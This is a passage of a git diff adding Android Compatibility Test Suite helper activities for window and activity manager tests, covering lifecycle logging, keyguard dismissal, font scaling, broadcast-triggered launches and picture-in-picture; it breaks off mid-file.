+    private static final String TAG = BottomActivity.class.getSimpleName();
+
+    private int mStopDelay;
+    private View mFloatingWindow;
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+        if (useWallpaper) {
+            setTheme(R.style.WallpaperTheme);
+        }
+        setContentView(R.layout.main);
+
+        // Delayed stop is for simulating a case where resume happens before
+        // activityStopped() is received by AM, and the transition starts without
+        // going through fully stopped state (see b/30255354).
+        // If enabled, we stall onStop() of BottomActivity, open TopActivity but make
+        // it finish before onStop() ends. This will cause BottomActivity to resume before
+        // it notifies AM of activityStopped(). We also add a second window of
+        // TYPE_BASE_APPLICATION, so that the transition animation could start earlier.
+        // Otherwise the main window has to relayout to visible first and the error won't occur.
+        // Note that if the test fails, we shouldn't try to change the app here to make
+        // it pass. The test app is artificially made to simulate an failure case, but
+        // it's not doing anything wrong.
+        mStopDelay = getIntent().getIntExtra("STOP_DELAY", 0);
+        if (mStopDelay > 0) {
+            LayoutInflater inflater = getLayoutInflater();
+            mFloatingWindow = inflater.inflate(R.layout.floating, null);
+
+            WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+            params.height = WindowManager.LayoutParams.WRAP_CONTENT;
+            params.width = WindowManager.LayoutParams.WRAP_CONTENT;
+            params.type = WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+            params.setTitle("Floating");
+            getWindowManager().addView(mFloatingWindow, params);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        Log.d(TAG, "onResume() E");
+        super.onResume();
+
+        if (mStopDelay > 0) {
+            // Refresh floating window
+            Log.d(TAG, "Scheuling invalidate Floating Window in onResume()");
+            mFloatingWindow.invalidate();
+        }
+
+        Log.d(TAG, "onResume() X");
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        if (mStopDelay > 0) {
+            try {
+                Log.d(TAG, "Stalling onStop() by " + mStopDelay + " ms...");
+                Thread.sleep(mStopDelay);
+            } catch(InterruptedException e) {}
+
+            // Refresh floating window
+            Log.d(TAG, "Scheuling invalidate Floating Window in onStop()");
+            mFloatingWindow.invalidate();
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
new file mode 100644
index 0000000..8de1cda
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class BottomLeftLayoutActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
new file mode 100644
index 0000000..24fa2fc
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class BottomRightLayoutActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
new file mode 100644
index 0000000..24be43a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.server.cts.tools.ActivityLauncher;
+import android.util.Log;
+
+/**
+ * Activity that registers broadcast receiver .
+ */
+public class BroadcastReceiverActivity extends Activity {
+
+    public static final String ACTION_TRIGGER_BROADCAST = "trigger_broadcast";
+    private static final String TAG = BroadcastReceiverActivity.class.getSimpleName();
+
+    private TestBroadcastReceiver mBroadcastReceiver = new TestBroadcastReceiver();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
+
+        registerReceiver(mBroadcastReceiver, broadcastFilter);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        unregisterReceiver(mBroadcastReceiver);
+    }
+
+    public class TestBroadcastReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            final Bundle extras = intent.getExtras();
+            Log.i(TAG, "onReceive: extras=" + extras);
+
+            if (extras == null) {
+                return;
+            }
+            if (extras.getBoolean("finish")) {
+                finish();
+            }
+            if (extras.getBoolean("moveToBack")) {
+                moveTaskToBack(true);
+            }
+            if (extras.containsKey("orientation")) {
+                setRequestedOrientation(extras.getInt("orientation"));
+            }
+            if (extras.getBoolean("dismissKeyguard")) {
+                getWindow().addFlags(FLAG_DISMISS_KEYGUARD);
+            }
+            if (extras.getBoolean("dismissKeyguardMethod")) {
+                getSystemService(KeyguardManager.class).requestDismissKeyguard(
+                        BroadcastReceiverActivity.this, new KeyguardDismissLoggerCallback(context));
+            }
+
+            ActivityLauncher.launchActivityFromExtras(BroadcastReceiverActivity.this, extras);
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
new file mode 100644
index 0000000..139c648
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+/**
+ * Activity with DialogWhenLarge Theme.
+ */
+public class DialogWhenLargeActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = DialogWhenLargeActivity.class.getSimpleName();
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
new file mode 100644
index 0000000..726a756
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class DismissKeyguardActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
new file mode 100644
index 0000000..c833eb2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class DismissKeyguardMethodActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+                new KeyguardDismissLoggerCallback(this));
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
new file mode 100644
index 0000000..007df5f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class DockedActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
new file mode 100644
index 0000000..d64b930
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.BroadcastReceiver;
+import android.os.Bundle;
+
+/**
+ * This activity finishes when you send a broadcast with the following action from adb shell
+ *  am broadcast -a 'android.server.cts.FinishableActivity.finish'
+ */
+public class FinishableActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = FinishableActivity.class.getSimpleName();
+    private static final String ACTION_FINISH = "android.server.cts.FinishableActivity.finish";
+
+    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent != null && intent.getAction().equals(ACTION_FINISH)) {
+                finish();
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        IntentFilter intentFilter = new IntentFilter(ACTION_FINISH);
+        registerReceiver(mReceiver, intentFilter);
+    }
+
+    @Override
+    protected void onDestroy() {
+        unregisterReceiver(mReceiver);
+        super.onDestroy();
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
new file mode 100644
index 0000000..a5620c1
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.server.cts;
+
+import android.content.res.Configuration;
+import android.content.res.TypedArray;
+import android.content.res.XmlResourceParser;
+import android.os.Bundle;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.Xml;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+
+public class FontScaleActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = FontScaleActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        dumpFontSize();
+    }
+
+    // We're basically ensuring that no matter what happens to the resources underneath the
+    // Activity, any TypedArrays obtained from the pool have the correct DisplayMetrics.
+    protected void dumpFontSize() {
+        try (XmlResourceParser parser = getResources().getXml(R.layout.font_scale)) {
+            //noinspection StatementWithEmptyBody
+            while (parser.next() != XmlPullParser.START_TAG) { }
+
+            final AttributeSet attrs = Xml.asAttributeSet(parser);
+            TypedArray ta = getTheme().obtainStyledAttributes(attrs,
+                    new int[] { android.R.attr.textSize }, 0, 0);
+            try {
+                final int fontPixelSize = ta.getDimensionPixelSize(0, -1);
+                if (fontPixelSize == -1) {
+                    throw new AssertionError("android:attr/textSize not found");
+                }
+
+                Log.i(getTag(), "fontPixelSize=" + fontPixelSize);
+            } finally {
+                ta.recycle();
+            }
+        } catch (XmlPullParserException | IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
new file mode 100644
index 0000000..8789f68
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.server.cts;
+
+import android.content.res.Configuration;
+
+public class FontScaleNoRelaunchActivity extends FontScaleActivity {
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpFontSize();
+    }
+
+    @Override
+    protected String getTag() {
+        return FontScaleNoRelaunchActivity.class.getSimpleName();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
new file mode 100644
index 0000000..f8c6d0c
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.graphics.Rect;
+
+public class FreeformActivity extends Activity {
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        final Intent intent = new Intent(this, TestActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchBounds(new Rect(0, 0, 900, 900));
+        this.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
new file mode 100644
index 0000000..860f2ae
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
+import android.util.Log;
+
+public class KeyguardDismissLoggerCallback extends KeyguardDismissCallback {
+
+    private final String TAG = "KeyguardDismissLoggerCallback";
+
+    private final Context mContext;
+
+    public KeyguardDismissLoggerCallback(Context context) {
+        mContext = context;
+    }
+
+    @Override
+    public void onDismissError() {
+        Log.i(TAG, "onDismissError");
+    }
+
+    @Override
+    public void onDismissSucceeded() {
+        if (mContext.getSystemService(KeyguardManager.class).isDeviceLocked()) {
+            // Device is still locked? What a fail. Don't print "onDismissSucceded" such that the
+            // log fails.
+            Log.i(TAG, "dismiss succedded was called but device is still locked.");
+        } else {
+            Log.i(TAG, "onDismissSucceeded");
+        }
+    }
+
+    @Override
+    public void onDismissCancelled() {
+        Log.i(TAG, "onDismissCancelled");
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
new file mode 100644
index 0000000..352cf04
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class KeyguardLockActivity extends BroadcastReceiverActivity {
+
+    private KeyguardManager.KeyguardLock mKeyguardLock;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mKeyguardLock = getSystemService(KeyguardManager.class).newKeyguardLock("test");
+        mKeyguardLock.disableKeyguard();
+    }
+
+    @Override
+    protected void onDestroy() {
+        mKeyguardLock.reenableKeyguard();
+        super.onDestroy();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
new file mode 100644
index 0000000..ffd5aee
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.res.Configuration;
+
+public class LandscapeOrientationActivity extends AbstractLifecycleLogActivity {
+    @Override
+    protected String getTag() {
+        return "LandscapeOrientationActivity";
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
new file mode 100644
index 0000000..2d562ff
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class LaunchAssistantActivityFromSession extends Activity {
+    @Override
+    protected void onResume() {
+        super.onResume();
+        AssistantVoiceInteractionService.launchAssistantActivity(this, getIntent().getExtras());
+        finishAndRemoveTask();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
new file mode 100644
index 0000000..62839a4
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class LaunchAssistantActivityIntoAssistantStack extends Activity {
+
+    // Launches the translucent assist activity
+    public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        if (getIntent().hasExtra(EXTRA_IS_TRANSLUCENT) &&
+                Boolean.valueOf(getIntent().getStringExtra(EXTRA_IS_TRANSLUCENT))) {
+            TranslucentAssistantActivity.launchActivityIntoAssistantStack(this,
+                    getIntent().getExtras());
+        } else {
+            AssistantActivity.launchActivityIntoAssistantStack(this, getIntent().getExtras());
+        }
+        finishAndRemoveTask();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
new file mode 100644
index 0000000..2ec417f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.server.cts.tools.ActivityLauncher;
+
+/** Broadcast receiver that can launch activities. */
+public class LaunchBroadcastReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
new file mode 100644
index 0000000..e2b4786
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.os.Bundle;
+
+public class LaunchEnterPipActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        PipActivity.launchEnterPipActivity(this);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
new file mode 100644
index 0000000..23298a0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
